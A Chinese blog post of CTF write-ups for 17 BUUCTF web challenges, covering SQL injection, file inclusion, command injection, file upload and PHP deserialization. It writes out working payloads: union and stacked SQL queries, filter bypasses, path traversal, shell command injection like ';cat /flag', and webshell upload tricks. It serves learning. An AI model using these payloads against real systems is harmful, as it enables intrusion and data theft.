type
status
date
slug
summary
tags
category
icon
password
平台链接如下:
1-5
1. [极客大挑战 2019]EasySQL
buuoj.cn
http://buuoj.cn/challenges#%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5DEasySQL
进入题目,让你输入用户名和密码,先随便尝试一个

观察url,发现是
get传参结合题目标题easysql,猜测数据库中查询语句为:
select * from user where username='$username' and password='$password' 此时尝试构造payload:
username=admin' or 1=1 password=123' or 1=1 那么实际的查询语句是:
select * from user where username='admin' or 1=1' and password='123' or 1=1' 此时闭合情况为:
此时尝试发送请求,其结果如下图

表示:您在 SQL 语法中存在错误;请检查与您的 MariaDB 服务器版本对应的手册,以获取正确的使用语法,靠近 '' and password='123' or 1=1'' 在第 1 行,和预期的错误一致,说明
' 是有效的输入点。因此使用payload:
url/?username=admin&password=123' or 1=1# ,点击登录按钮发送之后的url是:http://c4a7e909-ec80-4820-b081-060cd240f09c.node5.buuoj.cn:81/check.php?username=admin&password=123%27+or+1%3D1%23成功拿到flag:
flag{fd090064-a8f2-45c4-b19d-1f18f5bb9ab6}2. [极客大挑战 2019]Havefun
进入靶场,看到一只哈基米,F12查看元素,发现里面有使用html注释的php代码

根据这段代码提示,只要传入一个get参数,值为dog即可
http://8fcf11d9-8f08-4c31-a998-b46e748c71a0.node5.buuoj.cn:81/?cat=dog执行后页面出现flag:
flag{bc4c15d0-2085-4ddc-9640-d3c058a3b8b4}
3. [ACTF2020 新生赛]Include
看到题目include,猜测是文件包含。
进入靶场,看到页面上有一个tips(提示)链接,点击后跳转,发现url改变,于是用filter读取url提到的flag.php文件的内容,如果直接读不加编码的话php文件会被解析,因此还需要进行编码然后再读取

参考下面链接中关于
php://filter 的内容http://e7c6c66e-6181-48f3-a3c2-fcc72223d047.node5.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php执行后得到base64编码:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MTU0M2RkN2MtMDgyNC00OTY5LTg1M2YtMDU2N2FjNzc0MDZlfQo= 解码后得到flag:
flag{1543dd7c-0824-4969-853f-0567ac77406e}
4. [HCTF 2018]WarmUp
根据提示访问source.php,得到php源码如下:
分析代码可知,如果存在相关参数且是
string 类型且经过emmm类下checkFile函数的返回值为true,则会进行文件包含
然后再看
checkFile函数第一个if判断
if (! isset($page) || !is_string($page)) :若$page 未声明或者为空或者不是字符串,则返回false第二个if判断
if (in_array($page, $whitelist)) :如果数组$whitelist中没有$page的值则继续往下判断,若有则直接返回true然后是对
$page变量进行处理(去掉?及?后面的所有内容),赋值给$_page然后看
$_page在不在白名单$whitelist里,在就返回true,不在就继续处理,将url解码后的$page重复刚才的步骤,如果还是无法匹配白名单,则返回false 分析完之后重新看代码,白名单里还有个
hint,先访问一下,猜测flag应该在这个ffffllllaaaagggg 文件中
因此我们只需要构造payload:
?file=source.php?/../../../../ffffllllaaaagggg执行后拿到flag:
flag{67f231f4-cdcc-4c4c-b82d-b06f845a9d5e}5. [ACTF2020 新生赛]Exec
命令注入类型
进入靶场,让你ping地址,先ping自身
127.0.0.1 ,发现可以ping通
尝试在地址后面附带linux命令


因此ping中输入:
127.0.0.1;cat /flag执行后拿到flag:
flag{5b76970c-2b3f-4373-b570-d47b947a28d5}
6-10
6.[GXYCTF2019]Ping Ping Ping
进入靶场后,页面如下图:

猜测是通过命令执行获得flag,尝试以下面请求发送,结果如下图
使用
http://5f2c8fad-6665-4f12-a23e-f12114fe936a.node5.buuoj.cn:81/?ip=127.0.0.1|ls时,结果如下:

因此加入
cat flag.php 命令,根据结果提示空格被过滤,需要绕过
$IFS$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
使用
http://5f2c8fad-6665-4f12-a23e-f12114fe936a.node5.buuoj.cn:81/?ip=127.0.0.1|ls|cat$IFS$9flag.php ,现在结果如下图,发现flag被过滤
因此先查看index.php
http://5f2c8fad-6665-4f12-a23e-f12114fe936a.node5.buuoj.cn:81/?ip=127.0.0.1|ls|cat$IFS$9index.php得到源码:
构造payload:
http://5f2c8fad-6665-4f12-a23e-f12114fe936a.node5.buuoj.cn:81/?ip=127.0.0.1;a=g;tac$IFS$9fla$a.php给变量a赋值,然后使用变量a绕过对flag的过滤,执行后得到flag

7.[SUCTF 2019]EasySQL
输入
1,结果如下图:
输入
1 or 1=1,结果如下图:
说明
or被过滤,接下来检测哪些关键词被过滤,使用下面的字典在burpsuite中进行爆破S-BlastingDictionary
shadowabi • Updated Jan 5, 2026
抓包后发送到Intruder,然后设置如下图:

爆破之后,长度为560的都是被过滤的关键字

使用堆叠注入:
一堆 SQL 语句 (多条) 一起执行方法被称为堆叠注入。 在执行 SQL 语句时,如果 SQL 语句中包含多个 SQL 语句,数据库服务器会依次执行这些 SQL 语句,从而导致多次 SQL 注入攻击。通过在 SQL 语句中使用分号(;)来分隔多个 SQL 语句,从而实现堆叠注入攻击。
首先使用:
1;show databases; ,查数据库名
然后
1;show tables;查表名:
基本可以确定flag就在
Flag 表中。同时本体输入字母没有回显,推测后端使用了|| pipes_as_concat:将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符,而不是 “OR” 操作符的一个同义词。
因此构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1执行后得到flag

8.[极客大挑战 2019]LoveSQL
看到页面,猜测后端的内容如下:
select * from user where username='$username' and password='$password' 尝试使用万能密码登录
1' or 1=1# ,用户名使用万能密码,密码部分随便输入保持非空即可登录后结果如下:

接下来使用
order by确定列数,使用下面的url,依次替换order by后面的数字,当数字为4时,报错,说明只有3列。%23是#的url编码?username=admin' order by 4%23&password=1
然后使用联合查询看一下回显的字段,发现第2、3列可以显示
?username=aaa' union select 1,2,3%23&password=1
使用如下payload,查看有哪些表:
?username=aaa' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=1
flag应该在l0ve1ysq1这张表中,再看一下这张表中的字段都有什么:
?username=aaa' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
?username=aaa' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1%23&password=1 使用后得到如下结果,拿到flag:9.[极客大挑战 2019]Secret File
进入靶场,没看到啥提示,直接看源代码
发现源代码中有如下部分:
发现有一个链接,点击后会跳转,但由于背景是黑的,字体也是黑的,因此看不见。可以使用开发者工具把字体颜色改成白的,如下图:

点击跳转后,界面如下:

查看源代码,发现点击SECRET按钮会跳转到action.php,但是很快会变为end.php,如下图:

因此选择抓包,结果如下图:

访问secr3t.php,提示flag放在了flag.php里,并给了源码,接下来审计代码
stristr — strstr() 函数的忽略大小写版本
看了一下代码发现没过滤啥,直接使用payload:?file=flag.php
查看源码,发现没有提示信息,重新构造payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php得到base64编码:
解码得到flag

10.[强网杯 2019]随便注
简单尝试了一下,只有输入1,2时有回显

然后尝试输入
1' 报错提示如下:可以推测后端代码类似
select * from user where id = '$id' 现有payload
1' order by 1# 确定列数,经确定只有2列然后查看
1' select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 提交后显示一些关键字被过滤:发现没有过滤分号,可以使用堆叠注入
';show databases; 查看所有的数据库
查看当前数据库中有哪些表
';show tables;
接下来看表中有哪些字段,表名为数字时,要用反引号包起来查询。
';show columns from `1919810931114514`;
1';show columns from words;
可以看出一开始使用数字1进行注入所用的表是words,由于没有禁用
rename 和 alter,那么就可以改表替换拿到我们想要的 flag
首先把words改成别的表名';rename table words to aabbcc;然后把放flag的那张表改成words
rename `1919810931114514` to words;因为查询的是
id 字段,数字表没有,所以要添加一个
alter table words add id int unsigned not NULL auto_increment primary key;
将 flag 字段改为 data alter table words change flag data varchar(100);把它们合起来,在hackbar中执行
然后重新使用1注入,得到flag

11-15
11.[极客大挑战 2019]Http
进入网页,没发现什么东西。F12搜索
php,发现有一个超链接文件,由于onclick设置为return false,所以无法点击跳转根据路径进行跳转,进入如下页面:

发现题目要求从
https://Sycsecret.buuoj.cn进行访问,于是使用bp抓包伪造请求头一些header组成部分介绍
referer | 记录当前请求页面的来源页面的地址。比如在 https://www.xxxx.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:referer=https://www.xxxx.com信息 |
user-agent | User-Agent会告诉网站服务器,访问者是通过什么工具来请求的 |
X-Forwarded-For | 使Web服务器获取访问用户的IP真实地址(可伪造) |
加入
referer请求头之后重新发包,发现提示要用Syclover浏览器
在
user-agent中加入改浏览器之后重新发包,提示只能在本地查看这个secret.php文件
于是加入
X-Forwarded-For头,重新发包,得到flag
12.[极客大挑战 2019]Upload
进入靶场,是一个上传页面,文字提示是上传图片。直接上传一个php文件看看是否过滤

说明必须得上传图片格式,因此可以抓包,将Content-Type改为
image/png类型之后再发包。也可以先将文件的后缀改成图片格式然后再上传,但是上传png文件服务器无法将其作为php代码执行,因此抓包后还要将后缀改回php,然后发包。修改后发包,提示为
Not!php!
说明可能是黑名单过滤掉了php,尝试使用别的后缀

再次发包,发现过滤了
<?字符串,尝试使用如下内容绕过,这里的@用于隐藏错误信息上传后提示:

web有些时候只会识别文件头,而不识别文件具体内容,所以我们可以加上图片文件头来绕过
在这里我们加入gif默认文件头:
GIF89a。发包后成功上传
然后使用蚁剑进行连接,根目录下找到flag文件


13.[极客大挑战 2019]Knife
进入靶场,页面显示了php代码

直接使用蚁剑连接,在根目录下拿到flag

14.[ACTF2020 新生赛]Upload
进入靶场,先上传一个php文件,出现提示:

尝试抓包后更改类型,但还是不行,说明在前端就做了过滤。因此先上传一个png,然后再抓包修改

可以看到,上传成功,然后我们使用蚁剑连接

然后在根目录拿到flag

15.[极客大挑战 2019]BabySQL
select * from user where username=’$username’ and password=’$password’
先试一下万能密码
username=admin&password=123'or'1'='1 ,结果显示错误的用户名和密码尝试闭合引号查看报错信息
http://54141517-424c-48b1-ac45-65b1959dc0c6.node5.buuoj.cn:81/check.php?username=admin&password=123' or 1=1%23发现报错信息中没有or,说明or被过滤,通过双写绕过
http://54141517-424c-48b1-ac45-65b1959dc0c6.node5.buuoj.cn:81/check.php?username=admin&password=123' oorr 1=1%23
查看列数
http://54141517-424c-48b1-ac45-65b1959dc0c6.node5.buuoj.cn:81/check.php?username=admin&password=123' ununionion seselectlect 1,2%23
增加到三列,成功获取,说明有三列

然后开始查表,由于还有些关键字会被过滤,执行过程中需要根据报错信息不断修改
http://54141517-424c-48b1-ac45-65b1959dc0c6.node5.buuoj.cn:81/check.php?username=admin&password=123' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23
查
b4bsql表,爆出来3列http://54141517-424c-48b1-ac45-65b1959dc0c6.node5.buuoj.cn:81/check.php?username=admin&password=123' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23
查看
password列中的内容,得到flaghttp://54141517-424c-48b1-ac45-65b1959dc0c6.node5.buuoj.cn:81/check.php?username=admin&password=123' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql%23
16-20
16.[极客大挑战 2019]PHP
安装dirsearch,并扫描

从网址下载www.zip,解压后得到下图的文件

查看后发现只有
flag.php、index.php和class.php有用在index.php中可以发现这里将
$select进行了反序列化
根据class.php的代码,我们可以知道,当
password==100且username==admin时,才能获得flag执行下面的php代码,序列化结果
但是反序列化之后首先会执行
__wakeup()方法,这会导致username被覆盖
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过
__wakeup()函数的执行因此我们将序列化后数据的参数数量加1即可跳过该方法。
%00 是 URL 编码里对“字节 0x00”的文本表示\x00 是程序/内存里对“字节 0x00”的表示我们还需要伪造private属性才能修改变量值
http://013300af-2284-4187-aab0-7dea1f29e099.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 访问后得到flag

17.[ACTF2020 新生赛]BackupFile
看到提示要你找到源文件,使用dirsearch扫描一下
.bak= backup(备份)文件通常是原文件的副本,用于防止误删或覆盖。
扫完之后发现有一个
index.php.bak文件,其内容如下
观察代码,使用
get方法传入key,并且key使用有漏洞的is_numeric判断是否有数字所以只需传入
123即可,执行后获得flag
- 作者:Yuyuzheng2499
- 链接:http://yuyuzheng2499.com/ctf/buuctf-web
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。








